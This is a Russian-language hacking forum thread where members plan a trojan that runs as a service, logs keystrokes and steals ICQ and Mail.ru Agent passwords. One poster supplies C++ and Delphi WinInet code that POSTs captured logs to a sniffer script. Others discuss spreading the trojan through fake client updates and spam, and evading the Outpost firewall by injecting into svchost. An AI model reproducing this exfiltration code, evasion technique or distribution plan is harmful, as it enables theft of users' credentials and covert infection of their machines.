![]() |
Есть идея!
Хай всем! Появилась интересная идея!
Хочу написать трой с функцией кей-логера и сканера пасов (ICQ, MAgent и т.п.) Трой висит в мозгах в виде сервиса, кей логер пишет только нужные приложения, если юзер в онлайне (инет активен) через URL (POST`ом) логи пишутся через скрипт на левый сайтик, если юзер не в онлайне, тогда в файл.. Потом файлик отправляется опять же через POST на сайтик.. =) Как идея? Прошу Ваши рецензии, бредовая идея или прога будет нужна народу? |
По-моему слишком мудрёно, да и просекёт пользователь.
|
Цитата:
|
Идея ничего! только нах, тебе пароли?
Врядли найдется юзер(с хорошим номерком и тп), который запустит у себя твой троянец! К тому же среди знающих у тебя вообще нет шансов его запихнуть! А что ты будешь делать с кучей юзерских паролей например от мыла? |
Раздавать =)
В необходимости кейлоггера сомневаюсь - разве что искать дочерние окна с названиями типа "password" и их пасти. В идеале это нужно оставлять на компах общего пользования - в интернет-кафе, в кабинетах информатики итп. А так чтоб кто-то запустил - разве что джоинить с чем-то. |
Цитата:
Хотя ты наверное прав.... Ладно не валидна тем.... |
Цитата:
Hook! Скан активного приложения и снятие дампов с клавы... Хук еще никто не отменял! А GetWindowText не прокатит, имхо не всегда инфа за звездами актуальна! =) Интеграция в какую-нить прогу в виде паразита и все... Спам о новой версии MAgent`а например... Ну а там... Новая версия делается тоже просто, HEX редактор и из 4.8 в 5.0 нефиг делать! |
Драть можно не только пасы.. =)
|
Идея не нова -сам такое пишу - если хочешь стучи поговорим...
|
Цитата:
Да! сейчас думаю актуально иметь ботнет(спам, ддос)! это полезней! |
Цитата:
Как говоротся две головы хорошо, еще больше лутше! К томуже тоже сейчас пишу что-то подобное! =) |
Что б пассы от Lineage перла =)
|
Все хорошо, но будет много геморроя с отправкой спертых данных, щас даже самые ушастые юзеры понаставили файрволлов, во многие интегрирована проактивная защита. А вообще вещь будт полезная)
З.Ы. На чем пишешь кстати? |
насчет перехвата поста идея ничего -- а с остальным вполне справится пинч
|
Цитата:
Файрволу на него как правило пох... Если конечно это не супер пупер продвинутый мрандмауэр который цепляется к самой проге! Вернее делает анализ кто же запостил урл на какой-то сайт... =) Да и то маловероятно! Пишу на Си++ |
Цитата:
|
Цитата:
Протокол для закачки обновлений для винды! фаеры это не блочат!! |
Цитата:
Пинч/ксинч трои достаточно популярные и очень быстро попадают в базки для антивирей! ИМХО новый трой лутше паленого старого! |
Цитата:
|
Цитата:
Я каешь может чего-то не понимаю, но: зачем прокся между протрояненым юзером и снифером в сети? Чтоб юзер не узнал куда уходят пакеты? По моему если узер может(умеет) узнать(отслеживать) пакеты, то прокся особым препятствием ему не станет! А настройки браузеров не всегда правильные =) WinInet здорово облегчает разработку, сокеты(согласен) выглядят более громозко и неуклюже! |
Цитата:
|
Цитата:
Просто юзер может сидеть в локале, а в инет лезть через проксю, которая стоит на серваке конторы.. =) |
Цитата:
|
Представлю на ваш суд пару реализаций
Реализация на C++(Borland) (сори за изврат, Visual Studio упала =)) !!пару раз не выполнялась, хз почему!! //объявляем нужный нам модуль #include <wininet.h> #pragma comment(lib,"wininet.lib") //данные static TCHAR *hdr = ("Content-Type: application/x-www-form-urlencoded"); static TCHAR *frmdata = ("LOG=Test\r\n"); //лог для передачи const static TCHAR *AcceptType = ("Accept: */*"); //код //создаем сессию HINTERNET hSession = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NUL L,NULL,0); //конектимся HINTERNET hConnect = InternetConnect(hSession,"localhost",INTERNET_DEFA ULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0) ; //создаем запрос HINTERNET hRequest = HttpOpenRequest(hConnect,"POST","snif/snif.php",NULL,NULL,&AcceptType,0,0); //отправляем его с нашими данными HttpSendRequest(hRequest, hdr, strlen(hdr), frmdata, strlen(frmdata)); //подчищаем за собой InternetCloseHandle(hRequest); InternetCloseHandle(hConnect); InternetCloseHandle(hSession); реализация на Delphi: //данные const hdrs: string = 'Content-Type: application/x-www-form-urlencoded'; frmdata: string = 'LOG=TEST'#13#10; var hSession,hConnect,hRequest: HINTERNET; AcceptType: LPStr; //код begin //создаем сессию hSession:= InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil, nil,0); //коннектимся hConnect:= InternetConnect(hSession,'localhost',INTERNET_DEFA ULT_HTTP_PORT,nil,nil,INTERNET_SERVICE_HTTP,0,0); //устанавливаем тип приема AcceptType := PChar('Accept: */*'); //создаем запрос hRequest:= HttpOpenRequest(hConnect,'POST','snif/snif.php',nil,nil,@AcceptType,0,0); //отправляем его HttpSendRequest(hRequest,PChar(hdrs),Length(hdrs), PChar(frmdata),Length(frmdata)); // подчищаем за собой InternetCloseHandle(hRequest); InternetCloseHandle(hConnect); InternetCloseHandle(hSession); |
Цитата:
и паааадробное описание как ей пользоваться :)) |
идея хорошая! и похвальная +) будет результат - постите.. ознакомимся =)
|
Цитата:
Тока почемуто проверок нихера нет на выполнения функций и нужно перед этим создать трид в каком нить процессе, который FireWall разрешает(svchost - например) и тогда совсем рулез будет! И даже Файрволл пустит! =) Я как раз над этим сейчас и бьюсь.. |
Цитата:
По исходнику: проверок нет - сделано на коленке минут за 10 =) Есть один минус отправки - весь этот код юзает настройки у IE и если браузер не был использован для подключения к какому-нибудь серверу, что-то отправить будет не возможно! Насчет обхода фаера идея хорошая! надо будет покопаться! |
Цитата:
|
Цитата:
|
Цитата:
|
Yahooo! Натянул я OutPost! =)))))) Методом POST через HTTP (API).... Отправляю без перехвата! =) Не видит он ни хера! Правда есть существенная проблема!!! Он **** отлавливает момент внедрения в чужой процесс кода! =(
Блин без написания dll и опускания до ring-0 не обойтись имхо! =( Мля... |
Цитата:
Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD! |
Цитата:
|
Цитата:
Короче спасает от всех напастей трой в виде сервиса! Не совсем понятно почему? =) Но! Как ни странно когда стартует сервис и создает свой Image в процессе svchost OutPost на него просто кладет! =))))) Что удивительно имхо эта хренотень (OutPost) имеет толпу хуков на системные вызовы WriteProccess в Kernel32! Не суть! А так как сервису (трою) удалось ломануться в чужой процесс, он без особых усилий отправляет мессаги в инет, имхо svchost является одним из разрешенных процессов, оно и понятно! =) Не знаю как даная приблуда будет работать с другими антизаразами, но у меня пашет! Если подтвердится, что этот способ имеет право на жизнь, я напишу статейку с исходниками (все писалось на C++) |
Цитата:
|
переходи на уровень подъядра.
|
Цитата:
|
хэк
|
Цитата:
|
| Время: 18:37 |